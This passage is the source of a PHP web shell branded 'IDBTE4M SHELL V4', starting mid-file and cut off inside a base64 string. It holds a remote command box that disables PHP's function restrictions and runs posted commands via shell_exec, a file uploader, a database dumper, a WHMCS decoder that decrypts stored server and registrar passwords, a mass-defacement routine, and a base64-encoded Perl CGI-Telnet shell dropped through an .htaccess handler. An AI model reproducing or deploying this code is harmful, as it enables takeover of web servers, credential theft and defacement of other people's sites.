517$jumper="fVJtb5swEP4rF4Rko7Ka7WMCpFLVfp20fWwrarA9PAFGtlmXVfvvuwtN1mjShEDmebl77kB3vYOkjLIdNHSDDKF6TLpRte7nY1KX0eOtoHNDmOWE1CdEkx3wNIxQgZ1s801HzoI0uhmd0iyDqoIigz2sEuaMYVtQVvPkznvnt/D1JEb681SKqGp8eHpQjLpU9sc5y3d5kJREIFgn2Q6Cjk20o24GO9rIC4Ru0hnFLwrrGTfriTOhYydWkOXMMxRZA3zzJszglRIBTx4+PMExFmzh1i1qeo7wRUsF7yr8m5By/IZ0XlpsKb2XB45IugTtwwXSuclcABbfih289HbQfGO0M/yUKXvFlUVPQ+BOwxlfo6Ozho9FQarZURfU4oGTJ2dbdgowyZEWG5YWiZUtcrKQQFn/iz6K6N2oBbs+O66ZwGkG2zV9HAfB1qb8b8UNuhhlJNyGxuOSaBf8WJOI45DNvIR+tYX87MbW71nslK82WiNdqb26orNxWLfr4a0CyLAOheU1/ans4d4tk4LNE5QSeq9NlewP1cU4l6Mk9X9IUQpZl62vGTXf138A";
518?>
519<html><head><link rel="SHORTCUT ICON" href="http://zonehmirrors.org/defaced/2016/11/11/alignlifewauwatosa.com/kefiex.yu.tl/files/bnx.png"><title>-=[ IDBTE4M SHELL V4 ]=-</title>
520<script type="text/javascript">
521function tukar(lama,baru){
522 document.getElementById(lama).style.display = 'none';
523 document.getElementById(baru).style.display = 'block';
524}
525</script>
526<style type="text/css">
527body{
528 background:#000000;;
529}
530a {
531text-decoration:none;
532}
533a:hover{
534border-bottom:1px solid #00ff00;
535}
536*{
537 font-size:11px;
538 font-family:Tahoma,Verdana,Arial;
539 color:#00ff00;
540}
541#menu{
542 background:#111111;
543 margin:8px 2px 4px 2px;
544}
545#menu a{
546 padding:4px 18px;
547 margin:0;
548 background:#222222;
549 text-decoration:none;
550 letter-spacing:2px;
551 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
552}
553#menu a:hover{
554 background:#191919;
555 border-bottom:1px solid #333333;
556 border-top:1px solid #333333;
557}
558.tabnet{
559 margin:15px auto 0 auto;
560 border: 1px solid #333333;
561}
562.main {
563 width:100%;
564}
565.gaya {
566 color: #00ff00;
567}
568.inputz{
569 background:#111111;
570 border:0;
571 padding:2px;
572 border-bottom:1px solid #222222;
573 border-top:1px solid #222222;
574}
575.inputzbut{
576 background:#111111;
577 color:#00ff00;
578 margin:0 4px;
579 border:1px solid #444444;
580
581}
582.inputz:hover, .inputzbut:hover{
583 border-bottom:1px solid #00ff00;
584 border-top:1px solid #00ff00;
585}
586.output {
587 margin:auto;
588 border:1px solid #00ff00;
589 width:100%;
590 height:400px;
591 background:#000000;
592 padding:0 2px;
593}
594.cmdbox{
595 width:100%;
596}
597.head_info{
598 padding: 0 4px;
599}
600.jaya{ font-family: ;}
601
602.b374k{
603 font-size:30px;
604 padding:0;
605 color:#444444;
606}
607.b374k_tbl{
608 text-align:center;
609 margin:0 4px 0 0;
610 padding:0 4px 0 0;
611 border-right:1px solid #333333;
612}
613.phpinfo table{
614 width:100%;
615 padding:0 0 0 0;
616}
617.phpinfo td{
618 background:#111111;
619 color:#cccccc;
620padding:6px 8px;;
621}
622.phpinfo th, th{
623 background:#191919;
624 border-bottom:1px solid #333333;
625font-weight:normal;
626}
627.phpinfo h2, .phpinfo h2 a{
628 text-align:center;
629 font-size:16px;
630 padding:0;
631 margin:30px 0 0 0;
632 background:#222222;
633 padding:4px 0;
634}
635.explore{
636width:100%;
637}
638.explore a {
639text-decoration:none;
640}
641.explore td{
642border-bottom:1px solid #333333;
643padding:0 8px;
644line-height:24px;
645}
646.explore th{
647padding:3px 8px;
648font-weight:normal;
649}
650.explore th:hover , .phpinfo th:hover{
651border-bottom:1px solid #00ff00;
652}
653.explore tr:hover{
654background:#111111;
655}
656.viewfile{
657background:#EDECEB;
658color:#000000;
659margin:4px 2px;
660padding:8px;
661}
662.sembunyi{
663display:none;
664padding:0;margin:0;
665}
666
667</style>
668</head>
669<body onLoad="document.getElementById('cmd').focus();">
670<div class="main">
671<!-- head info start here -->
672<div class="head_info">
673<table ><tr>
674<td><table class="b374k_tbl"><tr><td><a href="?<?php echo "y=".$pwd; ?>&x=about"><span class="b374k"><img src="http://zonehmirrors.org/defaced/2016/11/11/alignlifewauwatosa.com/kefiex.yu.tl/files/bnx.png" height="150" width="250" /></span></a></td></tr><br>
675<div id="menu" align="left">
676<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
677<td><!-- onMouseOver="this.focus();" --><nobr><input type="file" name="file" class="inputz" size="50">
678<input name="_upl" type="submit" id="_upl" class="inputz" value="Upload"></form></div></b></td></tr></table></td>
679<td><?php echo $buff; ?></td>
680</td>
681</tr>
682</tr></table>
683</div>
684<div id="menu" align="center">
685
686<font color=red size=2 face="TAHOMA">
687<p align="center" dir="ltr"> <hr><center>
688<font color="red" font size=3 > | <font color="white" font size=3 >
689<a href="?" style="text-decoration: none">
690Home </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
691<a href="?idb=sql" style="text-decoration: none">
692SQL </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
693<a href="?idb=cp" style="text-decoration: none">
694Cpanel Cracker </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
695<a href="?idb=jump" style="text-decoration: none">
696Jumping </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
697<a href="?x=maling" style="text-decoration: none">
698Maling Script </a> <font color="white" font size=3 ></font>
699<font color="red" font size=3 > |</font>
700<br><hr><center>
701<font color="red" font size=3 > |</font>
702<a href="?idb=auto" style="text-decoration: none">
703Auto Wget </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
704<a href="?x=php" style="text-decoration: none">
705Shell </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
706<a href="?idb=config" style="text-decoration: none">
707Config Grabber </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
708<a href="?idb=wp2" style="text-decoration: none">
709Config Auto Get </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
710<a href="?idb=zonh" style="text-decoration: none">
711Zon-H </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
712<a href="?idb=mass" style="text-decoration: none">
713Mass Deface </a> <font color="white" font size=3 ></font>
714<font color="red" font size=3 >|</font>
715<hr>
716<font color="red" font size=3 >|</font>
717<a href="?idb=brute" style="text-decoration: none">
718Cp Brute </a> <font color="white" font size=3 ></font>
719<font color="red" font size=3 >|</font>
720<a href="?idb=finder" style="text-decoration: none">
721Admin Finder </a> <font color="white" font size=3 ></font>
722<font color="red" font size=3 > |</font>
723<a href="?idb=symlink" style="text-decoration: none">
724Symlink </a> <font color="white" font size=3 ></font>
725<font color="red" font size=3 > |</font>
726<a href="?idb=dump" style="text-decoration: none">
727Db Dump </a> <font color="white" font size=3 ></font>
728<font color="red" font size=3 > |</font>
729<a href="?idb=has" style="text-decoration: none">
730Password Hash </a> <font color="white" font size=3 ></font>
731<font color="red" font size=3 > |</font>
732<a href="?idb=whmcs" style="text-decoration: none">
733Whmcs Decoder </a> <font color="white" font size=3 ></font>
734<font color="red" font size=3 > |</font>
735<a href="?idb=wpp" style="text-decoration: none">
736Wp Mass </a> <font color="white" font size=3 ></font>
737<font color="red" font size=3 > |</font>
738<hr>
739<font color="red" font size=3 >|</font>
740<a href="?idb=jomla" style="text-decoration: none">
741Jomla Mass </a> <font color="white" font size=3 ></font>
742<font color="red" font size=3 > |</font>
743<a href="?idb=wpmas" style="text-decoration: none">
744Wp Mass Manual </a> <font color="white" font size=3 ></font>
745<font color="red" font size=3 > |</font>
746<a href="?idb=sken" style="text-decoration: none">
747Scan All Dir In Server </a> <font color="white" font size=3 ></font>
748<font color="red" font size=3 > |</font>
749<a href="?idb=cgi" style="text-decoration: none">
750Cgi Shell </a> <font color="white" font size=3 ></font>
751<font color="red" font size=3 > |</font>
752<a href="?idb=passwd" style="text-decoration: none">
753Symlink 2 </a> <font color="white" font size=3 ></font>
754</td><hr></center>
755</tr></table></div>
756
757<div id="viewfile" align="left">
758<form method="post">
759<td><nobr><b>CMD</b></nobr></td>
760<td><!-- onMouseOver="this.focus();" --><nobr><input id="cmd" class="inputz" type="text" name="cmd" style="width:300px;" value="" />
761<input class="inputzbut" type="submit" value=" >> " style="width:50px;" />
762</form>
763
764
765<?php
766if( $_POST['_upl'] == "Upload" ) {
767 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
768 else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
769}
770?>
771<?php
772/*******************************************\
773| CMD linux DTT 2014
774
775\*******************************************/
776$x0f = "fopen";
777$x10 = "fwrite";
778$x11 = "function_exists";
779$x12 = "shell_exec";
780if (isset($_POST['cmd'])) {
781 $x0b = $x0f('php.ini', 'w');
782 $x0c = " disable_functions=none ";
783 $x10($x0b, $x0c);
784 if ($x11('shell_exec')) {
785 $x0d = $_POST['cmd'];
786 $x0e = $x12("$x0d");
787 echo "<div id=result>";
788 echo "<span class=Y><pre>$x0e</pre></span";
789 }
790 echo "</div>";
791}
792?>
793<center>
794<div id="menu" align="center">
795<?php
796if (isset($_GET['idb']) && ($_GET['idb'] == 'dump')) { ?>
797<form action="?idb=dump" method="post">
798<?php
799echo $head.'<p align="center">';
800echo '
801<table width=371 class=tabnet >
802<tr><th colspan="2">Database Dump</th></tr>
803<tr>
804 <td>Server </td>
805 <td><input class="inputz" type=text name=server size=52></td></tr><tr>
806 <td>Username</td>
807 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
808 <td>Password</td>
809 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
810 <td>DataBase Name</td>
811 <td><input class="inputz" type=text name=dbname size=52></td></tr>
812 <tr>
813 <td>DB Type </td>
814 <td><form method=post action="'.$me.'">
815 <select class="inputz" name=method>
816 <option value="gzip">Gzip</option>
817 <option value="sql">Sql</option>
818 </select>
819 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
820 </form></center></table>';
821if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
822$date = date("Y-m-d");
823$dbserver = $_POST['server'];
824$dbuser = $_POST['username'];
825$dbpass = $_POST['password'];
826$dbname = $_POST['dbname'];
827$file = "Dump-$dbname-$date";
828$method = $_POST['method'];
829if ($method=='sql'){
830$file="Dump-$dbname-$date.sql";
831$fp=fopen($file,"w");
832}else{
833$file="Dump-$dbname-$date.sql.gz";
834$fp = gzopen($file,"w");
835}
836function write($data) {
837global $fp;
838if ($_POST['method']=='ssql'){
839fwrite($fp,$data);
840}else{
841gzwrite($fp, $data);
842}}
843mysql_connect ($dbserver, $dbuser, $dbpass);
844mysql_select_db($dbname);
845$tables = mysql_query ("SHOW TABLES");
846while ($i = mysql_fetch_array($tables)) {
847 $i = $i['Tables_in_'.$dbname];
848 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
849 write($create['Create Table'].";\n\n");
850 $sql = mysql_query ("SELECT * FROM ".$i);
851 if (mysql_num_rows($sql)) {
852 while ($row = mysql_fetch_row($sql)) {
853 foreach ($row as $j => $k) {
854 $row[$j] = "'".mysql_escape_string($k)."'";
855 }
856 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
857 }
858 }
859}
860if ($method=='ssql'){
861fclose ($fp);
862}else{
863gzclose($fp);}
864header("Content-Disposition: attachment; filename=" . $file);
865header("Content-Type: application/download");
866header("Content-Length: " . filesize($file));
867flush();
868
869$fp = fopen($file, "r");
870while (!feof($fp))
871{
872 echo fread($fp, 65536);
873 flush();
874}
875fclose($fp);
876}
877
878}
879elseif(isset($_GET['idb']) && ($_GET['idb'] == 'has'))
880 {
881$submit= $_POST['enter'];
882if (isset($submit)) {
883$pass = $_POST['password']; // password
884$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
885$hash = md5($pass); // md5 hash #1
886$md4 = hash("md4",$pass);
887$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
888$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
889$hash1 = sha1($pass); // sha1 hash #4
890$sha256 = hash("sha256",$text);
891$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
892$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
893}
894echo '<form action="" method="post"><b><table class=tabnet>';
895echo '<tr><th colspan="2">Password Hash</th></center></tr>';
896echo '<tr><td><b>Enter the word you want to encrypt:</b></td>';
897echo '<td><input class="inputz" type="text" name="password" size="40" />';
898echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
899echo '</td></tr><br>';
900echo '<tr><th colspan="2">Hash Result</th></center></tr>';
901echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
902echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
903echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
904echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
905echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
906echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
907echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
908echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
909echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
910}
911elseif(isset($_GET['idb']) && ($_GET['idb'] == 'whmcs'))
912{
913?>
914<form action="?y=<?php echo $pwd; ?>&idb=whmcs" method="post">
915
916<?php
917
918function decrypt ($string,$cc_encryption_hash)
919{
920 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
921 $hash_key = _hash ($key);
922 $hash_length = strlen ($hash_key);
923 $string = base64_decode ($string);
924 $tmp_iv = substr ($string, 0, $hash_length);
925 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
926 $iv = $out = '';
927 $c = 0;
928 while ($c < $hash_length)
929 {
930 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
931 ++$c;
932 }
933 $key = $iv;
934 $c = 0;
935 while ($c < strlen ($string))
936 {
937 if (($c != 0 AND $c % $hash_length == 0))
938 {
939 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
940 }
941 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
942 ++$c;
943 }
944 return $out;
945}
946
947function _hash ($string)
948{
949 if (function_exists ('sha1'))
950 {
951 $hash = sha1 ($string);
952 }
953 else
954 {
955 $hash = md5 ($string);
956 }
957 $out = '';
958 $c = 0;
959 while ($c < strlen ($hash))
960 {
961 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
962 $c += 2;
963 }
964 return $out;
965}
966
967echo "
968<br><center><font size='5' color='#FF0000'><b>--==[ WHMCS Decoder ]==--</b></font></center>
969<center>
970<br>
971
972<FORM action='' method='post'>
973<input type='hidden' name='form_action' value='2'>
974<br>
975<table class=tabnet style=width:320px;padding:0 1px;>
976<tr><th colspan=2>WHMCS Decoder</th></tr>
977<tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
978<tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
979<tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
980<tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
981<tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
982<td> <INPUT class='inputzbut' type='submit' style='color:#FF0000;background-color:' value='Submit' name='Submit'></td>
983</table>
984</FORM>
985</center>
986";
987
988 if($_POST['form_action'] == 2 )
989 {
990 //include($file);
991 $db_host=($_POST['db_host']);
992 $db_username=($_POST['db_username']);
993 $db_password=($_POST['db_password']);
994 $db_name=($_POST['db_name']);
995 $cc_encryption_hash=($_POST['cc_encryption_hash']);
996
997
998
999 $link=mysql_connect($db_host,$db_username,$db_password) ;
1000 mysql_select_db($db_name,$link) ;
1001$query = mysql_query("SELECT * FROM tblservers");
1002while($v = mysql_fetch_array($query)) {
1003$ipaddress = $v['ipaddress'];
1004$username = $v['username'];
1005$type = $v['type'];
1006$active = $v['active'];
1007$hostname = $v['hostname'];
1008echo("<center><table border='1'>");
1009$password = decrypt ($v['password'], $cc_encryption_hash);
1010echo("<tr><td>Type</td><td>$type</td></tr>");
1011echo("<tr><td>Active</td><td>$active</td></tr>");
1012echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
1013echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1014echo("<tr><td>Username</td><td>$username</td></tr>");
1015echo("<tr><td>Password</td><td>$password</td></tr>");
1016
1017echo "</table><br><br></center>";
1018}
1019
1020 $link=mysql_connect($db_host,$db_username,$db_password) ;
1021 mysql_select_db($db_name,$link) ;
1022$query = mysql_query("SELECT * FROM tblregistrars");
1023echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
1024echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1025while($v = mysql_fetch_array($query)) {
1026$registrar = $v['registrar'];
1027$setting = $v['setting'];
1028$value = decrypt ($v['value'], $cc_encryption_hash);
1029if ($value=="") {
1030$value=0;
1031}
1032$password = decrypt ($v['password'], $cc_encryption_hash);
1033echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1034}
1035}
1036}
1037
1038?>
1039<?php
1040if (isset($_GET['idb']) && ($_GET['idb'] == 'mass')) { ?>
1041<form action="?idb=mass" method="post">
1042<?php ?>
1043<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
1044
1045<p class="style3">
1046
1047<span <ul>
1048
1049 <span class="style32">
1050 <span class="style39">
1051<span style="font-weight: 700;" class="style33">
1052 </span></p><br>
1053<span style="font-weight: 700;" class="style33">
1054 <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
1055<br>
1056</center>
1057<div class="style31">
1058<center>
1059<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
1060<div class="style31">
1061[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
1062[+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
1063<input type='submit' name='execmassdeface' value='Execute'></div>
1064</form></td></center>
1065<?php
1066echo "<center><textarea rows='10' cols='100'>";
1067$defaceurl = $_POST['massdefaceurl'];
1068$dir = $_POST['massdefacedir'];
1069echo $dir . "
1070";
1071if (is_dir($dir)) {
1072 if ($dh = opendir($dir)) {
1073 while (($file = readdir($dh)) !== false) {
1074 if (filetype($dir . $file) == "dir") {
1075 $newfile = $dir . $file . "/idb.php";
1076 echo $newfile . "
1077";
1078 if (!copy($defaceurl, $newfile)) {
1079 echo "failed to copy $file...
1080";
1081 }
1082 }
1083 }
1084 closedir($dh);
1085 }
1086}
1087echo "</textarea></center>";
1088}
1089?>
1090<?php
1091if(isset($_GET['idb']) && $_GET['idb'] == 'cgi'){
1092mkdir('~_~', 0777);
1093chdir('~_~');
1094$kokdosya = ".htaccess";
1095$dosya_adi = "$kokdosya";
1096$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
1097$metin = "AddType application/x-httpd-cgi .te4m
1098AddType application/x-httpd-cgi .te4m
1099
1100AddHandler cgi-script .te4m
1101AddHandler cgi-script .te4m";
1102fwrite ( $dosya , $metin ) ;
1103fclose ($dosya);
1104$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFJlY29kZSBCeSBJREJURTRNIjsNCiRFZGl0UGVyc2lvbj0iSURCVEU0TSI7DQoNCiRQYXNzd29yZCA9ICJqYW5jb2siOw0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQ0KDQokTlRDbWRTZXAgPSAiJiI7CQ0KDQokVW5peENtZFNlcCA9ICI7IjsNCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsNCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQoNCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsNCglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPlsgJFZlcnNpb24gXTwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmZjsNCn0NCnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KfQ0KI2RvbWFpbiB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQp9DQp0ZCB7DQpjb2xvcjogIzJCQThFQzsNCn0NCi5saXN0ZGlyIHRkew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5saXN0ZGlyIHRoew0KCWNvbG9yOiAjRkY5OTAwOw0KfQ0KLmRpciwuZmlsZQ0Kew0KCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsNCn0NCi5kaXJ7DQoJZm9udC1zaXplOiAxMHB0OyANCglmb250LXdlaWdodDogYm9sZDsNCn0NCnRhYmxlIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQppbnB1dCB7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KY29kZSB7DQpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiB3aGlsZTsNCn0NCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KdGV4dGFyZWEgew0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYV